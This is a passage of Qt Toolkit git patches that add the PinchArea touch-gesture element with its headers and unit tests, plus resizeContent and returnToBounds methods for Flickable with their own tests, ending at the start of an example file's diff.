a/src/declarative/graphicsitems/qdeclarativepincharea_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p.h new file mode 100644 index 0000000..9a73a17 --- /dev/null +++ b/src/declarative/graphicsitems/qdeclarativepincharea_p.h @@ -0,0 +1,308 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEPINCHAREA_H +#define QDECLARATIVEPINCHAREA_H + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class Q_AUTOTEST_EXPORT QDeclarativePinch : public QObject +{ + Q_OBJECT + + Q_ENUMS(Axis) + Q_PROPERTY(QGraphicsObject *target READ target WRITE setTarget RESET resetTarget) + Q_PROPERTY(qreal minimumScale READ minimumScale WRITE setMinimumScale NOTIFY minimumScaleChanged) + Q_PROPERTY(qreal maximumScale READ maximumScale WRITE setMaximumScale NOTIFY maximumScaleChanged) + Q_PROPERTY(qreal minimumRotation READ minimumRotation WRITE setMinimumRotation NOTIFY minimumRotationChanged) + Q_PROPERTY(qreal maximumRotation READ maximumRotation WRITE setMaximumRotation NOTIFY maximumRotationChanged) + Q_PROPERTY(Axis dragAxis READ axis WRITE setAxis NOTIFY dragAxisChanged) + Q_PROPERTY(qreal minimumX READ xmin WRITE setXmin NOTIFY minimumXChanged) + Q_PROPERTY(qreal maximumX READ xmax WRITE setXmax NOTIFY maximumXChanged) + Q_PROPERTY(qreal minimumY READ ymin WRITE setYmin NOTIFY minimumYChanged) + Q_PROPERTY(qreal maximumY READ ymax WRITE setYmax NOTIFY maximumYChanged) + Q_PROPERTY(bool active READ active NOTIFY activeChanged) + +public: + QDeclarativePinch(); + + QGraphicsObject *target() const { return m_target; } + void setTarget(QGraphicsObject *target) { + if (target == m_target) + return; + m_target = target; + emit targetChanged(); + } + void resetTarget() { + if (!m_target) + return; + m_target = 0; + emit targetChanged(); + } + + qreal minimumScale() const { return m_minScale; } + void setMinimumScale(qreal s) { + if (s == m_minScale) + return; + m_minScale = s; + emit minimumScaleChanged(); + } + qreal maximumScale() const { return m_maxScale; } + void setMaximumScale(qreal s) { + if (s == m_maxScale) + return; + m_maxScale = s; + emit maximumScaleChanged(); + } + + qreal minimumRotation() const { return m_minRotation; } + void setMinimumRotation(qreal r) { + if (r == m_minRotation) + return; + m_minRotation = r; + emit minimumRotationChanged(); + } + qreal maximumRotation() const { return m_maxRotation; } + void setMaximumRotation(qreal r) { + if (r == m_maxRotation) + return; + m_maxRotation = r; + emit maximumRotationChanged(); + } + + enum Axis { NoDrag=0x00, XAxis=0x01, YAxis=0x02, XandYAxis=0x03 }; + Axis axis() const { return m_axis; } + void setAxis(Axis a) { + if (a == m_axis) + return; + m_axis = a; + emit dragAxisChanged(); + } + + qreal xmin() const { return m_xmin; } + void setXmin(qreal x) { + if (x == m_xmin) + return; + m_xmin = x; + emit minimumXChanged(); + } + qreal xmax() const { return m_xmax; } + void setXmax(qreal x) { + if (x == m_xmax) + return; + m_xmax = x; + emit maximumXChanged(); + } + qreal ymin() const { return m_ymin; } + void setYmin(qreal y) { + if (y == m_ymin) + return; + m_ymin = y; + emit minimumYChanged(); + } + qreal ymax() const { return m_ymax; } + void setYmax(qreal y) { + if (y == m_ymax) + return; + m_ymax = y; + emit maximumYChanged(); + } + + bool active() const { return m_active; } + void setActive(bool a) { + if (a == m_active) + return; + m_active = a; + emit activeChanged(); + } + +signals: + void targetChanged(); + void minimumScaleChanged(); + void maximumScaleChanged(); + void minimumRotationChanged(); + void maximumRotationChanged(); + void dragAxisChanged(); + void minimumXChanged(); + void maximumXChanged(); + void minimumYChanged(); + void maximumYChanged(); + void activeChanged(); + +private: + QGraphicsObject *m_target; + qreal m_minScale; + qreal m_maxScale; + qreal m_minRotation; + qreal m_maxRotation; + Axis m_axis; + qreal m_xmin; + qreal m_xmax; + qreal m_ymin; + qreal m_ymax; + bool m_active; +}; + +class Q_AUTOTEST_EXPORT QDeclarativePinchEvent : public QObject +{ + Q_OBJECT + + Q_PROPERTY(QPointF center READ center) + Q_PROPERTY(QPointF startCenter READ startCenter) + Q_PROPERTY(QPointF lastCenter READ lastCenter) + Q_PROPERTY(qreal scale READ scale) + Q_PROPERTY(qreal lastScale READ lastScale) + Q_PROPERTY(qreal angle READ angle) + Q_PROPERTY(qreal lastAngle READ lastAngle) + Q_PROPERTY(qreal rotation READ rotation) + Q_PROPERTY(QPointF point1 READ point1) + Q_PROPERTY(QPointF startPoint1 READ startPoint1) + Q_PROPERTY(QPointF point2 READ point2) + Q_PROPERTY(QPointF startPoint2 READ startPoint2) + Q_PROPERTY(bool accepted READ accepted WRITE setAccepted) + +public: + QDeclarativePinchEvent(QPointF c, qreal s, qreal a, qreal r) + : QObject(), m_center(c), m_scale(s), m_angle(a), m_rotation(r) {} + + QPointF center() const { return m_center; } + QPointF startCenter() const { return m_startCenter; } + void setStartCenter(QPointF c) { m_startCenter = c; } + QPointF lastCenter() const { return m_lastCenter; } + void setLastCenter(QPointF c) { m_lastCenter = c; } + qreal scale() const { return m_scale; } + qreal lastScale() const { return m_lastScale; } + void setLastScale(qreal s) { m_lastScale = s; } + qreal angle() const { return m_angle; } + qreal lastAngle() const { return m_lastAngle; } + void setLastAngle(qreal a) { m_lastAngle = a; } + qreal rotation() const { return m_rotation; } + QPointF point1() const { return m_point1; } + void setPoint1(QPointF p) { m_point1 = p; } + QPointF startPoint1() const { return m_startPoint1; } + void setStartPoint1(QPointF p) { m_startPoint1 = p; } + QPointF point2() const { return m_point2; } + void setPoint2(QPointF p) { m_point2 = p; } + QPointF startPoint2() const { return m_startPoint2; } + void setStartPoint2(QPointF p) { m_startPoint2 = p; } + + bool accepted() const { return m_accepted; } + void setAccepted(bool a) { m_accepted = a; } + +private: + QPointF m_center; + QPointF m_startCenter; + QPointF m_lastCenter; + qreal m_scale; + qreal m_lastScale; + qreal m_angle; + qreal m_lastAngle; + qreal m_rotation; + QPointF m_point1; + QPointF m_point2; + QPointF m_startPoint1; + QPointF m_startPoint2; + bool m_accepted; +}; + + +class QDeclarativeMouseEvent; +class QDeclarativePinchAreaPrivate; +class Q_AUTOTEST_EXPORT QDeclarativePinchArea : public QDeclarativeItem +{ + Q_OBJECT + + Q_PROPERTY(bool enabled READ isEnabled WRITE setEnabled NOTIFY enabledChanged) + Q_PROPERTY(QDeclarativePinch *pinch READ pinch CONSTANT) + +public: + QDeclarativePinchArea(QDeclarativeItem *parent=0); + ~QDeclarativePinchArea(); + + bool isEnabled() const; + void setEnabled(bool); + + QDeclarativePinch *pinch(); + +Q_SIGNALS: + void enabledChanged(); + void pinchStarted(QDeclarativePinchEvent *pinch); + void pinchChanged(QDeclarativePinchEvent *pinch); + void pinchFinished(QDeclarativePinchEvent *pinch); + +protected: + void mousePressEvent(QGraphicsSceneMouseEvent *event); + void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); + void mouseMoveEvent(QGraphicsSceneMouseEvent *event); + bool sceneEvent(QEvent *); + bool sendMouseEvent(QGraphicsSceneMouseEvent *event); + bool sceneEventFilter(QGraphicsItem *i, QEvent *e); + bool event(QEvent *); + + virtual void geometryChanged(const QRectF &newGeometry, + const QRectF &oldGeometry); + virtual QVariant itemChange(GraphicsItemChange change, const QVariant& value); + +private: + void updatePinch(); + void handlePress(); + void handleRelease(); + +private: + Q_DISABLE_COPY(QDeclarativePinchArea) + Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativePinchArea) +}; + +QT_END_NAMESPACE + +QML_DECLARE_TYPE(QDeclarativePinch) +QML_DECLARE_TYPE(QDeclarativePinchEvent) +QML_DECLARE_TYPE(QDeclarativePinchArea) + +QT_END_HEADER + +#endif // QDECLARATIVEPINCHAREA_H diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h new file mode 100644 index 0000000..b1cdf68 --- /dev/null +++ b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h @@ -0,0 +1,109 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEPINCHAREA_P_H +#define QDECLARATIVEPINCHAREA_P_H + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists purely as an +// implementation detail. This header file may change from version to +// version without notice, or even be removed. +// +// We mean it. +// + +#include +#include +#include +#include +#include "qdeclarativeitem_p.h" + +QT_BEGIN_NAMESPACE + +class QDeclarativePinch; +class QDeclarativePinchAreaPrivate : public QDeclarativeItemPrivate +{ + Q_DECLARE_PUBLIC(QDeclarativePinchArea) +public: + QDeclarativePinchAreaPrivate() + : absorb(true), stealMouse(false), inPinch(false) + , pinchRejected(false), pinch(0) + { + } + + ~QDeclarativePinchAreaPrivate(); + + void init() + { + Q_Q(QDeclarativePinchArea); + q->setAcceptedMouseButtons(Qt::LeftButton); + q->setAcceptTouchEvents(true); + q->setFiltersChildEvents(true); + } + + bool absorb : 1; + bool stealMouse : 1; + bool inPinch : 1; + bool pinchRejected : 1; + QDeclarativePinch *pinch; + QPointF sceneStartPoint1; + QPointF sceneStartPoint2; + QPointF lastPoint1; + QPointF lastPoint2; + qreal pinchStartDist; + qreal pinchStartScale; + qreal pinchLastScale; + qreal pinchStartRotation; + qreal pinchStartAngle; + qreal pinchLastAngle; + QPointF sceneStartCenter; + QPointF pinchStartCenter; + QPointF sceneLastCenter; + QPointF pinchStartPos; + QList touchPoints; +}; + +QT_END_NAMESPACE + +#endif // QDECLARATIVEPINCHAREA_P_H diff --git a/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml new file mode 100644 index 0000000..f39ea06 --- /dev/null +++ b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml @@ -0,0 +1,46 @@ +import QtQuick 1.1 +Rectangle { + id: whiteRect + property variant center + property real scale + width: 240; height: 320 + color: "white" + Rectangle { + id: blackRect + objectName: "blackrect" + color: "black" + y: 50 + x: 50 + width: 100 + height: 100 + opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200 + Text { text: blackRect.opacity} + PinchArea { + id: pincharea + objectName: "pincharea" + anchors.fill: parent + pinch.target: blackRect + pinch.dragAxis: Drag.XandYAxis + pinch.minimumX: 0 + pinch.maximumX: whiteRect.width-blackRect.width + pinch.minimumY: 0 + pinch.maximumY: whiteRect.height-blackRect.height + pinch.minimumScale: 1.0 + pinch.maximumScale: 2.0 + pinch.minimumRotation: 0.0 + pinch.maximumRotation: 90.0 + onPinchStarted: { + whiteRect.center = pinch.center + whiteRect.scale = pinch.scale + } + onPinchChanged: { + whiteRect.center = pinch.center + whiteRect.scale = pinch.scale + } + onPinchFinished: { + whiteRect.center = pinch.center + whiteRect.scale = pinch.scale + } + } + } + } diff --git a/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro b/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro new file mode 100644 index 0000000..2c13644 --- /dev/null +++ b/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro @@ -0,0 +1,16 @@ +load(qttest_p4) +contains(QT_CONFIG,declarative): QT += declarative gui +macx:CONFIG -= app_bundle + +SOURCES += tst_qdeclarativepincharea.cpp + +symbian: { + importFiles.sources = data + importFiles.path = . + DEPLOYMENT = importFiles +} else { + DEFINES += SRCDIR=\\\"$$PWD\\\" +} + +CONFIG += parallel_test + diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp new file mode 100644 index 0000000..d1015fc --- /dev/null +++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp @@ -0,0 +1,315 @@ +/**************************************************************************** +** +** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include +#include +#include + +#ifdef Q_OS_SYMBIAN +// In Symbian OS test data is located in applications private dir +#define SRCDIR "." +#endif + +class tst_QDeclarativePinchArea: public QObject +{ + Q_OBJECT +private slots: + void pinchProperties(); + void scale(); + void pan(); + +private: + QDeclarativeView *createView(); +}; + +void tst_QDeclarativePinchArea::pinchProperties() +{ + QDeclarativeView *canvas = createView(); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml")); + canvas->show(); + canvas->setFocus(); + QVERIFY(canvas->rootObject() != 0); + + QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild("pincharea"); + QDeclarativePinch *pinch = pinchArea->pinch(); + QVERIFY(pinchArea != 0); + QVERIFY(pinch != 0); + + // target + QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); + QVERIFY(blackRect != 0); + QVERIFY(blackRect == pinch->target()); + QDeclarativeItem *rootItem = qobject_cast(canvas->rootObject()); + QVERIFY(rootItem != 0); + QSignalSpy targetSpy(pinch, SIGNAL(targetChanged())); + pinch->setTarget(rootItem); + QCOMPARE(targetSpy.count(),1); + pinch->setTarget(rootItem); + QCOMPARE(targetSpy.count(),1); + + // axis + QCOMPARE(pinch->axis(), QDeclarativePinch::XandYAxis); + QSignalSpy axisSpy(pinch, SIGNAL(dragAxisChanged())); + pinch->setAxis(QDeclarativePinch::XAxis); + QCOMPARE(pinch->axis(), QDeclarativePinch::XAxis); + QCOMPARE(axisSpy.count(),1); + pinch->setAxis(QDeclarativePinch::XAxis); + QCOMPARE(axisSpy.count(),1); + + // minimum and maximum drag properties + QSignalSpy xminSpy(pinch, SIGNAL(minimumXChanged())); + QSignalSpy xmaxSpy(pinch, SIGNAL(maximumXChanged())); + QSignalSpy yminSpy(pinch, SIGNAL(minimumYChanged())); + QSignalSpy ymaxSpy(pinch, SIGNAL(maximumYChanged())); + + QCOMPARE(pinch->xmin(), 0.0); + QCOMPARE(pinch->xmax(), rootItem->width()-blackRect->width()); + QCOMPARE(pinch->ymin(), 0.0); + QCOMPARE(pinch->ymax(), rootItem->height()-blackRect->height()); + + pinch->setXmin(10); + pinch->setXmax(10); + pinch->setYmin(10); + pinch->setYmax(10); + + QCOMPARE(pinch->xmin(), 10.0); + QCOMPARE(pinch->xmax(), 10.0); + QCOMPARE(pinch->ymin(), 10.0); + QCOMPARE(pinch->ymax(), 10.0); + + QCOMPARE(xminSpy.count(),1); + QCOMPARE(xmaxSpy.count(),1); + QCOMPARE(yminSpy.count(),1); + QCOMPARE(ymaxSpy.count(),1); + + pinch->setXmin(10); + pinch->setXmax(10); + pinch->setYmin(10); + pinch->setYmax(10); + + QCOMPARE(xminSpy.count(),1); + QCOMPARE(xmaxSpy.count(),1); + QCOMPARE(yminSpy.count(),1); + QCOMPARE(ymaxSpy.count(),1); + + // minimum and maximum scale properties + QSignalSpy scaleMinSpy(pinch, SIGNAL(minimumScaleChanged())); + QSignalSpy scaleMaxSpy(pinch, SIGNAL(maximumScaleChanged())); + + QCOMPARE(pinch->minimumScale(), 1.0); + QCOMPARE(pinch->maximumScale(), 2.0); + + pinch->setMinimumScale(0.5); + pinch->setMaximumScale(1.5); + + QCOMPARE(pinch->minimumScale(), 0.5); + QCOMPARE(pinch->maximumScale(), 1.5); + + QCOMPARE(scaleMinSpy.count(),1); + QCOMPARE(scaleMaxSpy.count(),1); + + pinch->setMinimumScale(0.5); + pinch->setMaximumScale(1.5); + + QCOMPARE(scaleMinSpy.count(),1); + QCOMPARE(scaleMaxSpy.count(),1); + + // minimum and maximum rotation properties + QSignalSpy rotMinSpy(pinch, SIGNAL(minimumRotationChanged())); + QSignalSpy rotMaxSpy(pinch, SIGNAL(maximumRotationChanged())); + + QCOMPARE(pinch->minimumRotation(), 0.0); + QCOMPARE(pinch->maximumRotation(), 90.0); + + pinch->setMinimumRotation(-90.0); + pinch->setMaximumRotation(45.0); + + QCOMPARE(pinch->minimumRotation(), -90.0); + QCOMPARE(pinch->maximumRotation(), 45.0); + + QCOMPARE(rotMinSpy.count(),1); + QCOMPARE(rotMaxSpy.count(),1); + + pinch->setMinimumRotation(-90.0); + pinch->setMaximumRotation(45.0); + + QCOMPARE(rotMinSpy.count(),1); + QCOMPARE(rotMaxSpy.count(),1); + + delete canvas; +} + +QTouchEvent::TouchPoint makeTouchPoint(int id, QPoint p, QGraphicsView *v, QGraphicsItem *i) +{ + QTouchEvent::TouchPoint touchPoint(id); + touchPoint.setPos(i->mapFromScene(p)); + touchPoint.setScreenPos(v->mapToGlobal(p)); + touchPoint.setScenePos(p); + return touchPoint; +} + +void tst_QDeclarativePinchArea::scale() +{ + QDeclarativeView *canvas = createView(); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml")); + canvas->show(); + canvas->setFocus(); + QTest::qWaitForWindowShown(canvas); + QVERIFY(canvas->rootObject() != 0); + qApp->processEvents(); + + QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild("pincharea"); + QDeclarativePinch *pinch = pinchArea->pinch(); + QVERIFY(pinchArea != 0); + QVERIFY(pinch != 0); + + QDeclarativeItem *root = qobject_cast(canvas->rootObject()); + QVERIFY(root != 0); + + // target + QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); + QVERIFY(blackRect != 0); + + QWidget *vp = canvas->viewport(); + + QPoint p1(80, 80); + QPoint p2(100, 100); + + QTest::touchEvent(vp).press(0, p1); + QTest::touchEvent(vp).stationary(0).press(1, p2); + p1 -= QPoint(10,10); + p2 += QPoint(10,10); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(root->property("scale").toReal(), 1.0); + + p1 -= QPoint(10,10); + p2 += QPoint(10,10); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(root->property("scale").toReal(), 1.5); + QCOMPARE(root->property("center").toPointF(), QPointF(90, 90)); + QCOMPARE(blackRect->scale(), 1.5); + + // scale beyond bound + p1 -= QPoint(50,50); + p2 += QPoint(50,50); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(blackRect->scale(), 2.0); + + QTest::touchEvent(vp).release(0, p1).release(1, p2); + + delete canvas; +} + +void tst_QDeclarativePinchArea::pan() +{ + QDeclarativeView *canvas = createView(); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml")); + canvas->show(); + canvas->setFocus(); + QTest::qWaitForWindowShown(canvas); + QVERIFY(canvas->rootObject() != 0); + qApp->processEvents(); + + QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild("pincharea"); + QDeclarativePinch *pinch = pinchArea->pinch(); + QVERIFY(pinchArea != 0); + QVERIFY(pinch != 0); + + QDeclarativeItem *root = qobject_cast(canvas->rootObject()); + QVERIFY(root != 0); + + // target + QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); + QVERIFY(blackRect != 0); + + QWidget *vp = canvas->viewport(); + + QPoint p1(80, 80); + QPoint p2(100, 100); + + QTest::touchEvent(vp).press(0, p1); + QTest::touchEvent(vp).stationary(0).press(1, p2); + p1 += QPoint(10,10); + p2 += QPoint(10,10); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(root->property("scale").toReal(), 1.0); + + p1 += QPoint(10,10); + p2 += QPoint(10,10); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(root->property("center").toPointF(), QPointF(110, 110)); + + QCOMPARE(blackRect->x(), 60.0); + QCOMPARE(blackRect->y(), 60.0); + + // pan x beyond bound + p1 += QPoint(100,100); + p2 += QPoint(100,100); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(blackRect->x(), 140.0); + QCOMPARE(blackRect->y(), 160.0); + + QTest::touchEvent(vp).release(0, p1).release(1, p2); + + delete canvas; +} + +QDeclarativeView *tst_QDeclarativePinchArea::createView() +{ + QDeclarativeView *canvas = new QDeclarativeView(0); + canvas->viewport()->setAttribute(Qt::WA_AcceptTouchEvents); + canvas->setFixedSize(240,320); + + return canvas; +} + +QTEST_MAIN(tst_QDeclarativePinchArea) + +#include "tst_qdeclarativepincharea.moc" -- cgit v0.12 From 031ab2136c632d582a324941798be9e37825d287 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Nov 2010 11:01:46 +1000 Subject: Allow resizing Flickable content about a center point. Useful for zooming via pinch, for example. Task-number: QTBUG-15148 Reviewed-by: Aaron Kennedy --- .../graphicsitems/qdeclarativeflickable.cpp | 54 ++++++++++++++++++++++ .../graphicsitems/qdeclarativeflickable_p.h | 4 ++ .../qdeclarativeflickable/data/resize.qml | 27 +++++++++++ .../tst_qdeclarativeflickable.cpp | 54 ++++++++++++++++++++++ 4 files changed, 139 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativeflickable/data/resize.qml diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index 377f3b5..b13d82b 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -1269,6 +1269,60 @@ void QDeclarativeFlickable::setContentHeight(qreal h) d->updateBeginningEnd(); } +/*! + \qmlmethod Flickable::resizeContent(real width, real height, QPointF center) + \preliminary + + Resizes the content to \a width x \a height about \a center. + + \bold {This method was added in QtQuick 1.1.} + + This does not scale the contents of the Flickable - it only resizes the \l contentWidth + and \l contentHeight. + + Resizing the content may result in the content being positioned outside + the bounds of the Flickable. Calling \l returnToBounds() will + move the content back within legal bounds. +*/ +void QDeclarativeFlickable::resizeContent(qreal w, qreal h, QPointF center) +{ + Q_D(QDeclarativeFlickable); + if (w != d->hData.viewSize) { + qreal oldSize = d->hData.viewSize; + setContentWidth(w); + if (center.x() != 0) { + qreal pos = center.x() * w / oldSize; + setContentX(contentX() + pos - center.x()); + } + } + if (h != d->vData.viewSize) { + qreal oldSize = d->vData.viewSize; + setContentHeight(h); + if (center.y() != 0) { + qreal pos = center.y() * h / oldSize; + setContentY(contentY() + pos - center.y()); + } + } +} + +/*! + \qmlmethod Flickable::returnToBounds() + \preliminary + + Ensures the content is within legal bounds. + + \bold {This method was added in QtQuick 1.1.} + + This may be called to ensure that the content is within legal bounds + after manually positioning the content. +*/ +void QDeclarativeFlickable::returnToBounds() +{ + Q_D(QDeclarativeFlickable); + d->fixupX(); + d->fixupY(); +} + qreal QDeclarativeFlickable::vWidth() const { Q_D(const QDeclarativeFlickable); diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p.h index 6e4d8ed..ece2db7 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable_p.h +++ b/src/declarative/graphicsitems/qdeclarativeflickable_p.h @@ -149,6 +149,10 @@ public: FlickableDirection flickableDirection() const; void setFlickableDirection(FlickableDirection); + //XXX Added in QtQuick 1.1 + Q_INVOKABLE void resizeContent(qreal w, qreal h, QPointF center); + Q_INVOKABLE void returnToBounds(); + Q_SIGNALS: void contentWidthChanged(); void contentHeightChanged(); diff --git a/tests/auto/declarative/qdeclarativeflickable/data/resize.qml b/tests/auto/declarative/qdeclarativeflickable/data/resize.qml new file mode 100644 index 0000000..e2abb99 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeflickable/data/resize.qml @@ -0,0 +1,27 @@ +import QtQuick 1.1 + +Rectangle { + function resizeContent() { + flick.resizeContent(600, 600, Qt.point(100, 100)) + } + function returnToBounds() { + flick.returnToBounds() + } + width: 400 + height: 360 + color: "gray" + + Flickable { + id: flick + objectName: "flick" + anchors.fill: parent + contentWidth: 300 + contentHeight: 300 + + Rectangle { + width: flick.contentWidth + height: flick.contentHeight + color: "red" + } + } +} diff --git a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp index 25edb36..c1564bc 100644 --- a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp +++ b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp @@ -46,6 +46,7 @@ #include #include #include +#include "../../../shared/util.h" #ifdef Q_OS_SYMBIAN // In Symbian OS test data is located in applications private dir @@ -69,6 +70,8 @@ private slots: void pressDelay(); void flickableDirection(); void qgraphicswidget(); + void resizeContent(); + void returnToBounds(); private: QDeclarativeEngine engine; @@ -277,6 +280,57 @@ void tst_qdeclarativeflickable::qgraphicswidget() QVERIFY(widget); } +// QtQuick 1.1 +void tst_qdeclarativeflickable::resizeContent() +{ + QDeclarativeEngine engine; + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml")); + QDeclarativeItem *root = qobject_cast(c.create()); + QDeclarativeFlickable *obj = findItem(root, "flick"); + + QVERIFY(obj != 0); + QCOMPARE(obj->contentX(), 0.); + QCOMPARE(obj->contentY(), 0.); + QCOMPARE(obj->contentWidth(), 300.); + QCOMPARE(obj->contentHeight(), 300.); + + QMetaObject::invokeMethod(root, "resizeContent"); + + QCOMPARE(obj->contentX(), 100.); + QCOMPARE(obj->contentY(), 100.); + QCOMPARE(obj->contentWidth(), 600.); + QCOMPARE(obj->contentHeight(), 600.); + + delete root; +} + +// QtQuick 1.1 +void tst_qdeclarativeflickable::returnToBounds() +{ + QDeclarativeEngine engine; + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml")); + QDeclarativeItem *root = qobject_cast(c.create()); + QDeclarativeFlickable *obj = findItem(root, "flick"); + + QVERIFY(obj != 0); + QCOMPARE(obj->contentX(), 0.); + QCOMPARE(obj->contentY(), 0.); + QCOMPARE(obj->contentWidth(), 300.); + QCOMPARE(obj->contentHeight(), 300.); + + obj->setContentX(100); + obj->setContentY(400); + QTRY_COMPARE(obj->contentX(), 100.); + QTRY_COMPARE(obj->contentY(), 400.); + + QMetaObject::invokeMethod(root, "returnToBounds"); + + QTRY_COMPARE(obj->contentX(), 0.); + QTRY_COMPARE(obj->contentY(), 0.); + + delete root; +} + template T *tst_qdeclarativeflickable::findItem(QGraphicsObject *parent, const QString &objectName) { -- cgit v0.12 From 6258fc281f5b66b2634b81a2633b117165cea7ef Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Nov 2010 11:03:31 +1000 Subject: Add an example of using PinchArea. Task-number: QTBUG-15491 --- .../touchinteraction/pincharea/flickresize.qml | 50 +++++++++++++++++++++ .../touchinteraction/pincharea/qt-logo.jpg | Bin 0 -> 40886 bytes 2 files changed, 50 insertions(+) create mode 100644 examples/declarative/touchinteraction/pincharea/flickresize.qml create mode 100644 examples/declarative/touchinteraction/pincharea/qt-logo.jpg diff --git a/examples/declarative/touchinteraction/pincharea/flickresize.qml 